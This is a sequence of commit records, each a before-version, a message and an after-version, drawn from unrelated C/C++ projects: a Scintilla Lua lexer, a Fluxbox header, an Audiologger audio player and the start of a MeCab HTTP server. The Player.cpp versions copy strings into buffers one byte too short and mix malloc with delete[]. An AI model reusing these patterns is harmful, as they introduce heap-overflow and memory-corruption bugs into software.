}
if ((strcmp(s, "end") == 0) || (strcmp(s, "elseif") == 0) || (strcmp(s, "until") == 0)) {
levelCurrent--;
}
}
} else if (style == SCE_LUA_OPERATOR) {
if (ch == '{' || ch == '(') {
levelCurrent++;
} else if (ch == '}' || ch == ')') {
levelCurrent--;
}
} else if (style == SCE_LUA_LITERALSTRING || style == SCE_LUA_COMMENT) {
if (ch == '[') {
levelCurrent++;
} else if (ch == ']') {
levelCurrent--;
}
}
if (atEOL) {
int lev = levelPrev;
if (visibleChars == 0 && foldCompact) {
lev |= SC_FOLDLEVELWHITEFLAG;
}
if ((levelCurrent > levelPrev) && (visibleChars > 0)) {
lev |= SC_FOLDLEVELHEADERFLAG;
}
if (lev != styler.LevelAt(lineCurrent)) {
styler.SetLevel(lineCurrent, lev);
}
lineCurrent++;
levelPrev = levelCurrent;
visibleChars = 0;
}
if (!isspacechar(ch)) {
visibleChars++;
}
}
// Fill in the real level of the next line, keeping the current flags as they will be filled in later
int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;
styler.SetLevel(lineCurrent, levelPrev | flagsNext);
}
static const char * const luaWordListDesc[] = {
"Keywords",
"Basic functions",
"String, (table) & math functions",
"(coroutines), I/O & system facilities",
"user1",
"user2",
"user3",
"user4",
0
};
LexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, "lua", FoldLuaDoc, luaWordListDesc);
<commit_msg>Patch from Jason Oster ensure keywords highlighted at end of text.<commit_after>// Scintilla source code edit control
/** @file LexLua.cxx
** Lexer for Lua language.
**
** Written by Paul Winwood.
** Folder by Alexey Yutkin.
** Modified by Marcos E. Wurzius & Philippe Lhoste
**/
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdarg.h>
#include <stdio.h>
#include "Platform.h"
#include "PropSet.h"
#include "Accessor.h"
#include "StyleContext.h"
#include "KeyWords.h"
#include "Scintilla.h"
#include "SciLexer.h"
#include "CharacterSet.h"
#ifdef SCI_NAMESPACE
using namespace Scintilla;
#endif
// Test for [=[ ... ]=] delimiters, returns 0 if it's only a [ or ],
// return 1 for [[ or ]], returns >=2 for [=[ or ]=] and so on.
// The maximum number of '=' characters allowed is 254.
static int LongDelimCheck(StyleContext &sc) {
int sep = 1;
while (sc.GetRelative(sep) == '=' && sep < 0xFF)
sep++;
if (sc.GetRelative(sep) == sc.ch)
return sep;
return 0;
}
static void ColouriseLuaDoc(
unsigned int startPos,
int length,
int initStyle,
WordList *keywordlists[],
Accessor &styler) {
WordList &keywords = *keywordlists[0];
WordList &keywords2 = *keywordlists[1];
WordList &keywords3 = *keywordlists[2];
WordList &keywords4 = *keywordlists[3];
WordList &keywords5 = *keywordlists[4];
WordList &keywords6 = *keywordlists[5];
WordList &keywords7 = *keywordlists[6];
WordList &keywords8 = *keywordlists[7];
// Accepts accented characters
CharacterSet setWordStart(CharacterSet::setAlpha, "_", 0x80, true);
CharacterSet setWord(CharacterSet::setAlphaNum, "._", 0x80, true);
// Not exactly following number definition (several dots are seen as OK, etc.)
// but probably enough in most cases.
CharacterSet setNumber(CharacterSet::setDigits, ".-+abcdefABCDEF");
CharacterSet setLuaOperator(CharacterSet::setNone, "*/-+()={}~[];<>,.^%:#");
CharacterSet setEscapeSkip(CharacterSet::setNone, "\"'\\");
int currentLine = styler.GetLine(startPos);
// Initialize long string [[ ... ]] or block comment --[[ ... ]] nesting level,
// if we are inside such a string. Block comment was introduced in Lua 5.0,
// blocks with separators [=[ ... ]=] in Lua 5.1.
int nestLevel = 0;
int sepCount = 0;
if (initStyle == SCE_LUA_LITERALSTRING || initStyle == SCE_LUA_COMMENT) {
int lineState = styler.GetLineState(currentLine - 1);
nestLevel = lineState >> 8;
sepCount = lineState & 0xFF;
}
// Do not leak onto next line
if (initStyle == SCE_LUA_STRINGEOL || initStyle == SCE_LUA_COMMENTLINE || initStyle == SCE_LUA_PREPROCESSOR) {
initStyle = SCE_LUA_DEFAULT;
}
StyleContext sc(startPos, length, initStyle, styler);
if (startPos == 0 && sc.ch == '#') {
// shbang line: # is a comment only if first char of the script
sc.SetState(SCE_LUA_COMMENTLINE);
}
for (; sc.More(); sc.Forward()) {
if (sc.atLineEnd) {
// Update the line state, so it can be seen by next line
currentLine = styler.GetLine(sc.currentPos);
switch (sc.state) {
case SCE_LUA_LITERALSTRING:
case SCE_LUA_COMMENT:
// Inside a literal string or block comment, we set the line state
styler.SetLineState(currentLine, (nestLevel << 8) | sepCount);
break;
default:
// Reset the line state
styler.SetLineState(currentLine, 0);
break;
}
}
if (sc.atLineStart && (sc.state == SCE_LUA_STRING)) {
// Prevent SCE_LUA_STRINGEOL from leaking back to previous line
sc.SetState(SCE_LUA_STRING);
}
// Handle string line continuation
if ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) &&
sc.ch == '\\') {
if (sc.chNext == '\n' || sc.chNext == '\r') {
sc.Forward();
if (sc.ch == '\r' && sc.chNext == '\n') {
sc.Forward();
}
continue;
}
}
// Determine if the current state should terminate.
if (sc.state == SCE_LUA_OPERATOR) {
sc.SetState(SCE_LUA_DEFAULT);
} else if (sc.state == SCE_LUA_NUMBER) {
// We stop the number definition on non-numerical non-dot non-eE non-sign non-hexdigit char
if (!setNumber.Contains(sc.ch)) {
sc.SetState(SCE_LUA_DEFAULT);
} else if (sc.ch == '-' || sc.ch == '+') {
if (sc.chPrev != 'E' && sc.chPrev != 'e')
sc.SetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_IDENTIFIER) {
if (!setWord.Contains(sc.ch) || sc.Match('.', '.')) {
char s[100];
sc.GetCurrent(s, sizeof(s));
if (keywords.InList(s)) {
sc.ChangeState(SCE_LUA_WORD);
} else if (keywords2.InList(s)) {
sc.ChangeState(SCE_LUA_WORD2);
} else if (keywords3.InList(s)) {
sc.ChangeState(SCE_LUA_WORD3);
} else if (keywords4.InList(s)) {
sc.ChangeState(SCE_LUA_WORD4);
} else if (keywords5.InList(s)) {
sc.ChangeState(SCE_LUA_WORD5);
} else if (keywords6.InList(s)) {
sc.ChangeState(SCE_LUA_WORD6);
} else if (keywords7.InList(s)) {
sc.ChangeState(SCE_LUA_WORD7);
} else if (keywords8.InList(s)) {
sc.ChangeState(SCE_LUA_WORD8);
}
sc.SetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_COMMENTLINE || sc.state == SCE_LUA_PREPROCESSOR) {
if (sc.atLineEnd) {
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_STRING) {
if (sc.ch == '\\') {
if (setEscapeSkip.Contains(sc.chNext)) {
sc.Forward();
}
} else if (sc.ch == '\"') {
sc.ForwardSetState(SCE_LUA_DEFAULT);
} else if (sc.atLineEnd) {
sc.ChangeState(SCE_LUA_STRINGEOL);
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_CHARACTER) {
if (sc.ch == '\\') {
if (setEscapeSkip.Contains(sc.chNext)) {
sc.Forward();
}
} else if (sc.ch == '\'') {
sc.ForwardSetState(SCE_LUA_DEFAULT);
} else if (sc.atLineEnd) {
sc.ChangeState(SCE_LUA_STRINGEOL);
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_LITERALSTRING || sc.state == SCE_LUA_COMMENT) {
if (sc.ch == '[') {
int sep = LongDelimCheck(sc);
if (sep == 1 && sepCount == 1) { // [[-only allowed to nest
nestLevel++;
sc.Forward();
}
} else if (sc.ch == ']') {
int sep = LongDelimCheck(sc);
if (sep == 1 && sepCount == 1) { // un-nest with ]]-only
nestLevel--;
sc.Forward();
if (nestLevel == 0) {
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sep > 1 && sep == sepCount) { // ]=]-style delim
sc.Forward(sep);
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
}
}
// Determine if a new state should be entered.
if (sc.state == SCE_LUA_DEFAULT) {
if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {
sc.SetState(SCE_LUA_NUMBER);
if (sc.ch == '0' && toupper(sc.chNext) == 'X') {
sc.Forward();
}
} else if (setWordStart.Contains(sc.ch)) {
sc.SetState(SCE_LUA_IDENTIFIER);
} else if (sc.ch == '\"') {
sc.SetState(SCE_LUA_STRING);
} else if (sc.ch == '\'') {
sc.SetState(SCE_LUA_CHARACTER);
} else if (sc.ch == '[') {
sepCount = LongDelimCheck(sc);
if (sepCount == 0) {
sc.SetState(SCE_LUA_OPERATOR);
} else {
nestLevel = 1;
sc.SetState(SCE_LUA_LITERALSTRING);
sc.Forward(sepCount);
}
} else if (sc.Match('-', '-')) {
sc.SetState(SCE_LUA_COMMENTLINE);
if (sc.Match("--[")) {
sc.Forward(2);
sepCount = LongDelimCheck(sc);
if (sepCount > 0) {
nestLevel = 1;
sc.ChangeState(SCE_LUA_COMMENT);
sc.Forward(sepCount);
}
} else {
sc.Forward();
}
} else if (sc.atLineStart && sc.Match('$')) {
sc.SetState(SCE_LUA_PREPROCESSOR); // Obsolete since Lua 4.0, but still in old code
} else if (setLuaOperator.Contains(sc.ch)) {
sc.SetState(SCE_LUA_OPERATOR);
}
}
}
if (setWord.Contains(sc.chPrev)) {
char s[100];
sc.GetCurrent(s, sizeof(s));
if (keywords.InList(s)) {
sc.ChangeState(SCE_LUA_WORD);
} else if (keywords2.InList(s)) {
sc.ChangeState(SCE_LUA_WORD2);
} else if (keywords3.InList(s)) {
sc.ChangeState(SCE_LUA_WORD3);
} else if (keywords4.InList(s)) {
sc.ChangeState(SCE_LUA_WORD4);
} else if (keywords5.InList(s)) {
sc.ChangeState(SCE_LUA_WORD5);
} else if (keywords6.InList(s)) {
sc.ChangeState(SCE_LUA_WORD6);
} else if (keywords7.InList(s)) {
sc.ChangeState(SCE_LUA_WORD7);
} else if (keywords8.InList(s)) {
sc.ChangeState(SCE_LUA_WORD8);
}
}
sc.Complete();
}
static void FoldLuaDoc(unsigned int startPos, int length, int /* initStyle */, WordList *[],
Accessor &styler) {
unsigned int lengthDoc = startPos + length;
int visibleChars = 0;
int lineCurrent = styler.GetLine(startPos);
int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;
int levelCurrent = levelPrev;
char chNext = styler[startPos];
bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0;
int styleNext = styler.StyleAt(startPos);
char s[10];
for (unsigned int i = startPos; i < lengthDoc; i++) {
char ch = chNext;
chNext = styler.SafeGetCharAt(i + 1);
int style = styleNext;
styleNext = styler.StyleAt(i + 1);
bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n');
if (style == SCE_LUA_WORD) {
if (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e' || ch == 'r' || ch == 'u') {
for (unsigned int j = 0; j < 8; j++) {
if (!iswordchar(styler[i + j])) {
break;
}
s[j] = styler[i + j];
s[j + 1] = '\0';
}
if ((strcmp(s, "if") == 0) || (strcmp(s, "do") == 0) || (strcmp(s, "function") == 0) || (strcmp(s, "repeat") == 0)) {
levelCurrent++;
}
if ((strcmp(s, "end") == 0) || (strcmp(s, "elseif") == 0) || (strcmp(s, "until") == 0)) {
levelCurrent--;
}
}
} else if (style == SCE_LUA_OPERATOR) {
if (ch == '{' || ch == '(') {
levelCurrent++;
} else if (ch == '}' || ch == ')') {
levelCurrent--;
}
} else if (style == SCE_LUA_LITERALSTRING || style == SCE_LUA_COMMENT) {
if (ch == '[') {
levelCurrent++;
} else if (ch == ']') {
levelCurrent--;
}
}
if (atEOL) {
int lev = levelPrev;
if (visibleChars == 0 && foldCompact) {
lev |= SC_FOLDLEVELWHITEFLAG;
}
if ((levelCurrent > levelPrev) && (visibleChars > 0)) {
lev |= SC_FOLDLEVELHEADERFLAG;
}
if (lev != styler.LevelAt(lineCurrent)) {
styler.SetLevel(lineCurrent, lev);
}
lineCurrent++;
levelPrev = levelCurrent;
visibleChars = 0;
}
if (!isspacechar(ch)) {
visibleChars++;
}
}
// Fill in the real level of the next line, keeping the current flags as they will be filled in later
int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;
styler.SetLevel(lineCurrent, levelPrev | flagsNext);
}
static const char * const luaWordListDesc[] = {
"Keywords",
"Basic functions",
"String, (table) & math functions",
"(coroutines), I/O & system facilities",
"user1",
"user2",
"user3",
"user4",
0
};
LexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, "lua", FoldLuaDoc, luaWordListDesc);
<|endoftext|>
|
<commit_before>// Netizen.hh for Fluxbox
// Copyright (c) 2002 Henrik Kinnunen (fluxgen@linuxmail.org)
// Netizen.hh for Blackbox - An X11 Window Manager
// Copyright (c) 1997 - 2000 Brad Hughes (bhughes@tcac.net)
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
#ifndef NETIZEN_HH
#define NETIZEN_HH
#include <X11/Xlib.h>
class BScreen;
class Netizen {
public:
Netizen(const BScreen &scr, Window w);
inline Window window() const { return m_window; }
void sendWorkspaceCount();
void sendCurrentWorkspace();
void sendWindowFocus(Window w);
void sendWindowAdd(Window w, unsigned long wkspc);
void sendWindowDel(Window w);
void sendWindowRaise(Window w);
void sendWindowLower(Window w);
void sendConfigNotify(XEvent &xe);
private:
const BScreen &m_screen;
Display *m_display; ///< display connection
Window m_window;
XEvent event;
};
#endif // _NETIZEN_HH_
<commit_msg>update<commit_after>// Netizen.hh for Fluxbox
// Copyright (c) 2002-2003 Henrik Kinnunen (fluxgen@linuxmail.org)
//
// Netizen.hh for Blackbox - An X11 Window Manager
// Copyright (c) 1997 - 2000 Brad Hughes (bhughes@tcac.net)
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
#ifndef NETIZEN_HH
#define NETIZEN_HH
#include <X11/Xlib.h>
class BScreen;
class Netizen {
public:
Netizen(const BScreen &scr, Window w);
inline Window window() const { return m_window; }
void sendWorkspaceCount();
void sendCurrentWorkspace();
void sendWindowFocus(Window w);
void sendWindowAdd(Window w, unsigned long wkspc);
void sendWindowDel(Window w);
void sendWindowRaise(Window w);
void sendWindowLower(Window w);
void sendConfigNotify(XEvent &xe);
private:
const BScreen &m_screen;
Display *m_display; ///< display connection
Window m_window;
XEvent event;
};
#endif // _NETIZEN_HH_
<|endoftext|>
|
<commit_before>//
// Player.cpp
// Audiologger
//
// Created by Malte Poll on 15.02.16.
// Copyright © 2016 Malte Poll. All rights reserved.
//
#include "Player.hpp"
#include "logging.hpp"
void Player::init(){
//Allocate memory for the sample buffer
sampleBlock = (char *)malloc(FRAMES_PER_BUFFER * NUM_CHANNELS * SAMPLE_SIZE);
if( sampleBlock == NULL ) //Test if memory could be allocated
{
printError("Could not allocate memory for the sample buffer.\n");
exit(1);
}
//Do specific initialization for portaudio and sndfile
init_portaudio();
init_sndfile();
}
void Player::init_portaudio(){
PaError err = Pa_Initialize(); //Initialize portaudio
if( err != paNoError ){
printPaError(err);
}
/* -- setup output -- */
outputParameters.device = Pa_GetDefaultOutputDevice(); /* default output device */
printf( "Output device # %d.\n", outputParameters.device );
printf( "Output LL: %g s\n", Pa_GetDeviceInfo( outputParameters.device )->defaultLowOutputLatency );
printf( "Output HL: %g s\n", Pa_GetDeviceInfo( outputParameters.device )->defaultHighOutputLatency );
outputParameters.channelCount = NUM_CHANNELS;
outputParameters.sampleFormat = PA_SAMPLE_TYPE;
outputParameters.suggestedLatency = Pa_GetDeviceInfo( outputParameters.device )->defaultHighOutputLatency;
outputParameters.hostApiSpecificStreamInfo = NULL;
err = Pa_OpenStream(
&stream,
nullptr, /* We don't need an input device, because there is no recording */
&outputParameters,
SAMPLE_RATE,
FRAMES_PER_BUFFER,
paNoFlag,
NULL, /* no callback, use blocking API */
NULL ); /* no callback, so no callback userData */
if( err != paNoError ){
printPaError(err);
}
}
void Player::init_sndfile(){
fileInfo.format = 0;
//File info gets set by the library. Only format must be set to 0.
}
Player::Player(){
//Set standard output file to an empty string
char empty = '\0';
setDestPath(&empty);
init();
}
Player::Player(const char destPath[]){
//set output file path
setDestPath(destPath);
init();
}
Player::Player(std::string destPath){
setDestPath(destPath.c_str());
}
Player::~Player(){
PaError err;
err = Pa_CloseStream( stream ); //Close the opened stream
if( err != paNoError ){
printPaError(err);
}
err = Pa_Terminate( ); //Terminate portaudio correctly
if( err != paNoError ){
printPaError(err);
}
//Free memory
if(destPath) delete [] destPath;
if(sampleBlock) delete [] sampleBlock;
if (worker) delete worker;
}
void playbackThread(PaStream* stream, char* sampleBlock, SNDFILE* filePtr, bool* stopPlaybackThread, std::mutex* stopPlaybackThread_mutex, bool* playbackThreadFinishedPlaying, std::mutex* playbackThreadFinishedPlaying_mutex){
PaError err;
//uses mutex to be thread safe. stopPlaybackThread could change at any time
playbackThreadFinishedPlaying_mutex->lock();
*playbackThreadFinishedPlaying = false;
playbackThreadFinishedPlaying_mutex->unlock();
stopPlaybackThread_mutex->lock();
*stopPlaybackThread = false;
bool stop = *stopPlaybackThread;
stopPlaybackThread_mutex->unlock();
long frames = FRAMES_PER_BUFFER;
memset(sampleBlock, 0, FRAMES_PER_BUFFER*NUM_CHANNELS*SAMPLE_SIZE);
while (!stop && frames == FRAMES_PER_BUFFER) {
frames = sf_readf_float(filePtr, (float*)sampleBlock, FRAMES_PER_BUFFER);
err = Pa_WriteStream( stream, sampleBlock, FRAMES_PER_BUFFER );
if( err != paNoError ){
printError("Error in worker thread:");
printPaError(err);
}
stopPlaybackThread_mutex->lock();
stop = *stopPlaybackThread;
stopPlaybackThread_mutex->unlock();
}
playbackThreadFinishedPlaying_mutex->lock();
*playbackThreadFinishedPlaying = true;
playbackThreadFinishedPlaying_mutex->unlock();
//printLog("* Worker ending!");
}
bool Player::hasPlayerFinished(){
bool ret;
playbackThreadFinishedPlaying_mutex.lock();
ret = playbackThreadFinishedPlaying;
playbackThreadFinishedPlaying_mutex.unlock();
return ret;
}
int Player::startPlaying(){
if (playing) {
stopPlaying();
}
time(&playbackStartingTime);
filePtr = sf_open(destPath, SFM_READ, &fileInfo); //Opens file with info from init_sndfile()
//printLog(*new std::string("* Opened File ") + destPath);
PaError err;
err = Pa_StartStream( stream ); //Start the input stream
//printLog("* Stream started");
if( err != paNoError ){
printPaError(err);
return -1;
}
playing = true; //set playing bool. This helps external classes to decide if the player is running or not.
worker = new std::thread(playbackThread, stream, sampleBlock, filePtr, &stopPlaybackThread, &stopPlaybackThread_mutex, &playbackThreadFinishedPlaying, &playbackThreadFinishedPlaying_mutex);
return 0;
}
/*Returns -1 if you try to stop a recording if none was started.
Returns 0 if everything went fine*/
int Player::stopPlaying(){
if (!playing) {
return -1;
}
//printLog("* Stopping playback");
stopPlaybackThread_mutex.lock();
stopPlaybackThread = true;
stopPlaybackThread_mutex.unlock();
worker->join();
stopPlaybackThread = false;
playbackThreadFinishedPlaying = false;
PaError err;
err = Pa_StopStream( stream );
if( err != paNoError ){
printPaError(err);
return -1;
}
sf_close(filePtr);
fileInfo.format = 0;
//printLog("* Closed File!");
playing = false;
return 0;
}
bool Player::isPlaying(){
return playing;
}
char* Player::getDestPath(){
char* ret = new char[strlen(destPath)];
strcpy(ret, destPath);
return ret;
}
void Player::setDestPath(const char destPath[]){
this->destPath = new char[strlen(destPath)];
strcpy(this->destPath, destPath);
}
double Player::getDuration(){
return duration;
}
void Player::setDuration(double dur){
duration = dur;
}
double Player::getTimePlayed(){
if (!playing) {
return 0;
}else{
time_t now;
time(&now);
return (now-playbackStartingTime);
}
}
double Player::getTimeLeft(){
if (!playing) {
return 0;
}else{
return duration-getTimePlayed();
}
}<commit_msg>Update Player.cpp<commit_after>//
// Player.cpp
// Audiologger
//
// Created by Malte Poll on 15.02.16.
// Copyright © 2016 Malte Poll. All rights reserved.
//
#include "Player.hpp"
#include "logging.hpp"
#include <string.h>
void Player::init(){
//Allocate memory for the sample buffer
sampleBlock = (char *)malloc(FRAMES_PER_BUFFER * NUM_CHANNELS * SAMPLE_SIZE);
if( sampleBlock == NULL ) //Test if memory could be allocated
{
printError("Could not allocate memory for the sample buffer.\n");
exit(1);
}
//Do specific initialization for portaudio and sndfile
init_portaudio();
init_sndfile();
}
void Player::init_portaudio(){
PaError err = Pa_Initialize(); //Initialize portaudio
if( err != paNoError ){
printPaError(err);
}
/* -- setup output -- */
outputParameters.device = Pa_GetDefaultOutputDevice(); /* default output device */
printf( "Output device # %d.\n", outputParameters.device );
printf( "Output LL: %g s\n", Pa_GetDeviceInfo( outputParameters.device )->defaultLowOutputLatency );
printf( "Output HL: %g s\n", Pa_GetDeviceInfo( outputParameters.device )->defaultHighOutputLatency );
outputParameters.channelCount = NUM_CHANNELS;
outputParameters.sampleFormat = PA_SAMPLE_TYPE;
outputParameters.suggestedLatency = Pa_GetDeviceInfo( outputParameters.device )->defaultHighOutputLatency;
outputParameters.hostApiSpecificStreamInfo = NULL;
err = Pa_OpenStream(
&stream,
nullptr, /* We don't need an input device, because there is no recording */
&outputParameters,
SAMPLE_RATE,
FRAMES_PER_BUFFER,
paNoFlag,
NULL, /* no callback, use blocking API */
NULL ); /* no callback, so no callback userData */
if( err != paNoError ){
printPaError(err);
}
}
void Player::init_sndfile(){
fileInfo.format = 0;
//File info gets set by the library. Only format must be set to 0.
}
Player::Player(){
//Set standard output file to an empty string
char empty = '\0';
setDestPath(&empty);
init();
}
Player::Player(const char destPath[]){
//set output file path
setDestPath(destPath);
init();
}
Player::Player(std::string destPath){
setDestPath(destPath.c_str());
}
Player::~Player(){
PaError err;
err = Pa_CloseStream( stream ); //Close the opened stream
if( err != paNoError ){
printPaError(err);
}
err = Pa_Terminate( ); //Terminate portaudio correctly
if( err != paNoError ){
printPaError(err);
}
//Free memory
if(destPath) delete [] destPath;
if(sampleBlock) delete [] sampleBlock;
if (worker) delete worker;
}
void playbackThread(PaStream* stream, char* sampleBlock, SNDFILE* filePtr, bool* stopPlaybackThread, std::mutex* stopPlaybackThread_mutex, bool* playbackThreadFinishedPlaying, std::mutex* playbackThreadFinishedPlaying_mutex){
PaError err;
//uses mutex to be thread safe. stopPlaybackThread could change at any time
playbackThreadFinishedPlaying_mutex->lock();
*playbackThreadFinishedPlaying = false;
playbackThreadFinishedPlaying_mutex->unlock();
stopPlaybackThread_mutex->lock();
*stopPlaybackThread = false;
bool stop = *stopPlaybackThread;
stopPlaybackThread_mutex->unlock();
long frames = FRAMES_PER_BUFFER;
memset(sampleBlock, 0, FRAMES_PER_BUFFER*NUM_CHANNELS*SAMPLE_SIZE);
while (!stop && frames == FRAMES_PER_BUFFER) {
frames = sf_readf_float(filePtr, (float*)sampleBlock, FRAMES_PER_BUFFER);
err = Pa_WriteStream( stream, sampleBlock, FRAMES_PER_BUFFER );
if( err != paNoError ){
printError("Error in worker thread:");
printPaError(err);
}
stopPlaybackThread_mutex->lock();
stop = *stopPlaybackThread;
stopPlaybackThread_mutex->unlock();
}
playbackThreadFinishedPlaying_mutex->lock();
*playbackThreadFinishedPlaying = true;
playbackThreadFinishedPlaying_mutex->unlock();
//printLog("* Worker ending!");
}
bool Player::hasPlayerFinished(){
bool ret;
playbackThreadFinishedPlaying_mutex.lock();
ret = playbackThreadFinishedPlaying;
playbackThreadFinishedPlaying_mutex.unlock();
return ret;
}
int Player::startPlaying(){
if (playing) {
stopPlaying();
}
time(&playbackStartingTime);
filePtr = sf_open(destPath, SFM_READ, &fileInfo); //Opens file with info from init_sndfile()
//printLog(*new std::string("* Opened File ") + destPath);
PaError err;
err = Pa_StartStream( stream ); //Start the input stream
//printLog("* Stream started");
if( err != paNoError ){
printPaError(err);
return -1;
}
playing = true; //set playing bool. This helps external classes to decide if the player is running or not.
worker = new std::thread(playbackThread, stream, sampleBlock, filePtr, &stopPlaybackThread, &stopPlaybackThread_mutex, &playbackThreadFinishedPlaying, &playbackThreadFinishedPlaying_mutex);
return 0;
}
/*Returns -1 if you try to stop a recording if none was started.
Returns 0 if everything went fine*/
int Player::stopPlaying(){
if (!playing) {
return -1;
}
//printLog("* Stopping playback");
stopPlaybackThread_mutex.lock();
stopPlaybackThread = true;
stopPlaybackThread_mutex.unlock();
worker->join();
stopPlaybackThread = false;
playbackThreadFinishedPlaying = false;
PaError err;
err = Pa_StopStream( stream );
if( err != paNoError ){
printPaError(err);
return -1;
}
sf_close(filePtr);
fileInfo.format = 0;
//printLog("* Closed File!");
playing = false;
return 0;
}
bool Player::isPlaying(){
return playing;
}
char* Player::getDestPath(){
char* ret = new char[strlen(destPath)];
strcpy(ret, destPath);
return ret;
}
void Player::setDestPath(const char destPath[]){
this->destPath = new char[strlen(destPath)];
strcpy(this->destPath, destPath);
}
double Player::getDuration(){
return duration;
}
void Player::setDuration(double dur){
duration = dur;
}
double Player::getTimePlayed(){
if (!playing) {
return 0;
}else{
time_t now;
time(&now);
return (now-playbackStartingTime);
}
}
double Player::getTimeLeft(){
if (!playing) {
return 0;
}else{
return duration-getTimePlayed();
}
}
<|endoftext|>
|
<commit_before>#include <sys/queue.h>
#include <evhttp.h>
#include <mecab.h>
#include "Server.h"
#define PARSE_URI(request, params) { \
char const *uri = evhttp_request_uri(request); \
evhttp_parse_query(uri, ¶ms); \
}
#define PARAM_GET_STR(var, params, name, mendatory) { \
var = evhttp_find_header(¶ms_get, name); \
if (!var && mendatory) { \
http_send(request, "<err message=\"field '" name "' is mendatory\"/>\n"); \
return; \
} \
}
inline static void output_xml_header(struct evbuffer *buffer) {
evbuffer_add_printf(buffer, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
evbuffer_add_printf(buffer, "<root>\n");
}
inline static void output_xml_footer(struct evbuffer *buffer) {
evbuffer_add_printf(buffer, "</root>\n");
}
inline static void kana_output_xml(const char *kana, struct evbuffer *buffer) {
evbuffer_add_printf(buffer, "<kana><![CDATA[");
evbuffer_add_printf(buffer, "%s", kana);
evbuffer_add_printf(buffer, "]]></kana>\n");
}
/**
*
*/
static void http_send(struct evhttp_request *request, const char *fmt, ...) {
struct evbuffer *buffer = evbuffer_new();
evhttp_add_header(request->output_headers, "Content-Type", "TEXT/XML; charset=UTF8");
va_list ap;
va_start(ap, fmt);
evbuffer_add_vprintf(buffer, fmt, ap);
va_end(ap);
evhttp_send_reply(request, HTTP_OK, "", buffer);
evbuffer_free(buffer);
}
/**** uri: *
*
*/
static void http_callback_default(struct evhttp_request *request, void *data) {
evhttp_send_error(request, HTTP_NOTFOUND, "Service not found");
}
/**** uri: /kana?str=*
*
*/
static void http_kana_callback(struct evhttp_request *request, void *data) {
//parse uri
struct evkeyvalq params_get;
PARSE_URI(request, params_get);
//get "str"
char const *str;
PARAM_GET_STR(str, ¶ms_get, "str", true);
//we parse into kana
Server* server = (Server*) data;
const char *kana = server->yomiTagger->parse(str);
//TODO add error handling
//prepare output
struct evbuffer *buffer = evbuffer_new();
output_xml_header(buffer);
kana_output_xml(kana, buffer);
output_xml_footer(buffer);
//send
evhttp_add_header(request->output_headers, "Content-Type", "TEXT/XML; charset=UTF8");
evhttp_send_reply(request, HTTP_OK, "", buffer);
}
/**
*
*/
Server::Server(std::string address, int port) {
struct event_base *base = event_init();
struct evhttp *server = evhttp_new(base);
int res = evhttp_bind_socket(server, address.c_str(), port);
wakatiTagger = MeCab::createTagger("-Owakati");
yomiTagger = MeCab::createTagger("-Oyomi");
if (res != 0) {
std::cout << "[ERROR] Could not start http server!" << std::endl;
return;
}
evhttp_set_gencb(server, http_callback_default, this);
evhttp_set_cb(server, "/kana", http_kana_callback, this);
event_base_dispatch(base);
}
/**
*
*
*/
Server::~Server() {
delete wakatiTagger;
delete yomiTagger;
}
<commit_msg>added a beginning of /parse call that simply parse and separate element with a space inside parse tag<commit_after>#include <sys/queue.h>
#include <evhttp.h>
#include <mecab.h>
#include "Server.h"
#define PARSE_URI(request, params) { \
char const *uri = evhttp_request_uri(request); \
